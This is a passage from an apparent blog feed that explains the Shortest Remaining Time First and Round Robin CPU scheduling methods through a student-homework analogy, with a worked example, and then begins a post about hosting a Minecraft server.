&lt;p&gt;The discussion above is missing one variable. During finals, today you need to discuss a general education report, tomorrow you have an elective report, and &lt;del&gt;the day before yesterday the club president threw you a club activity results spreadsheet that still isn’t written&lt;/del&gt;. Tasks don’t appear at exactly one moment in time—they have an order. So add one definition:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Arrival time&lt;/strong&gt;: The moment you receive this task—it’s a point in time, not a duration.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;shortest-remaining-time-first&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#shortest-remaining-time-first&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Shortest Remaining Time First&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Shortest remaining time first&lt;/strong&gt;, shortest remaining time gets handled first, is the preemptive version of &lt;strong&gt;SJF&lt;/strong&gt; (can cut in line). Example:&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Task&lt;/th&gt;&lt;th&gt;Arrival time&lt;/th&gt;&lt;th&gt;Estimated time to complete&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;P_1&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8333em;vertical-align:-0.15em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.3011em;&quot;&gt;&lt;span style=&quot;top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;8&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;P_2&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8333em;vertical-align:-0.15em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.3011em;&quot;&gt;&lt;span style=&quot;top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;4&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;P_3&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8333em;vertical-align:-0.15em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.3011em;&quot;&gt;&lt;span style=&quot;top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;9&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mn&gt;4&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;P_4&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8333em;vertical-align:-0.15em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.3011em;&quot;&gt;&lt;span style=&quot;top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;4&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;5&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The execution order changes like this—let the task with shortest remaining time at the current moment go first:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2026/01/scheduling/srtf.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Average wait time: &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mo stretchy=&quot;false&quot;&gt;[&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mn&gt;17&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;8&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mn&gt;5&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;4&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mn&gt;26&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;9&lt;/mn&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mn&gt;10&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;5&lt;/mn&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;]&lt;/mo&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;/&lt;/mi&gt;&lt;mn&gt;4&lt;/mn&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;6.5&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;[(17-8-0)+(5-4-1)+(26-2-9)+(10-3-5)] / 4 = 6.5&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;[(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;17&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.7278em;vertical-align:-0.0833em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.7278em;vertical-align:-0.0833em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.7278em;vertical-align:-0.0833em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.7278em;vertical-align:-0.0833em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)]&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;/4&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.6444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;6.5&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Average turnaround time: &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mo stretchy=&quot;false&quot;&gt;[&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mn&gt;17&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mn&gt;5&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mn&gt;26&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mn&gt;10&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;]&lt;/mo&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;/&lt;/mi&gt;&lt;mn&gt;4&lt;/mn&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;13&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;[(17-0)+(5-1)+(26-2)+(10-3)] / 4 = 13&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;[(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;17&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)]&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;/4&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.6444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;13&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;All these scheduling methods have problems. If short tasks keep cutting in, interrupting longer tasks, then long tasks might never get their turn—they’ll starve in the Ready queue, wait time getting longer and longer, still not done by deadline. To avoid situations where things don’t get finished, next up is Round Robin.&lt;/p&gt;
&lt;h2 id=&quot;round-robin&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#round-robin&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Round Robin&lt;/h2&gt;
&lt;p&gt;This method is less related to the previous ones. First, set a time quantum—each task’s time slice. If a task doesn’t finish within this slice, it must go back to the queue and we process the next thing. When its turn comes again, we continue it. For example, today you need to write Calculus, Linear Algebra, and General Physics. Set the quantum to one hour. First write Calculus for one hour, regardless of completion you must switch to Linear Algebra; then write Linear Algebra for one hour, regardless of completion you must switch to General Physics. After three hours pass, return to write Calculus, rotating like this until everything is done.&lt;/p&gt;
&lt;p&gt;The art of this method is how to set the quantum. If it’s too large, every task completes within one interval, behaving like FCFS—there’s no point setting a quantum. If it’s too small, you’re always in the middle of switching. Example with 3 minutes: you need to do Calculus. Pull out tablet and open Calculus homework, find the problem to write (30 seconds), read the problem (2 minutes), write for 30 seconds—congrats, time to switch to Linear Algebra. Actual writing time becomes very short, constantly switching.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;If you understood all of the above, congratulations—you’ve learned half of the &lt;em&gt;Operating Systems — CPU Scheduling&lt;/em&gt; unit. This idea has been sitting in draft pile for half a semester. When I was learning this unit, I realized process execution and humans handling tasks are actually similar. It’s just that this task’s priority wasn’t high, staying in the Waiting queue and starving. Today, feeling inspired &lt;del&gt;has it been too long since I posted&lt;/del&gt;, I took it out of drafts to complete. This Round Robin cycle is done. Time to go binge watch shows.&lt;/p&gt;</content:encoded></item><item><title>How to Set Up a Minecraft Server?</title><link>https://www.windson.cc/en/posts/minecraft-server/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/minecraft-server/</guid><description>Preface I used to host my Minecraft server on other platforms—super convenient! One-click setup, no skills needed, ready to play immediately. But if you don’t log in for too long (not sure if it’s hal</description><pubDate>Tue, 06 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;preface&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#preface&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Preface&lt;/h2&gt;
&lt;p&gt;I used to host my Minecraft server on &lt;a href=&quot;https://aternos.org/:zh-TW/&quot;&gt;other platforms&lt;/a&gt;—super convenient! One-click setup, no skills needed, ready to play immediately. But if you don’t log in for too long (not sure if it’s half a year or a year), the server gets deleted and all your progress is gone. Now that I have a host and the knowledge, why not set one up myself?&lt;/p&gt;
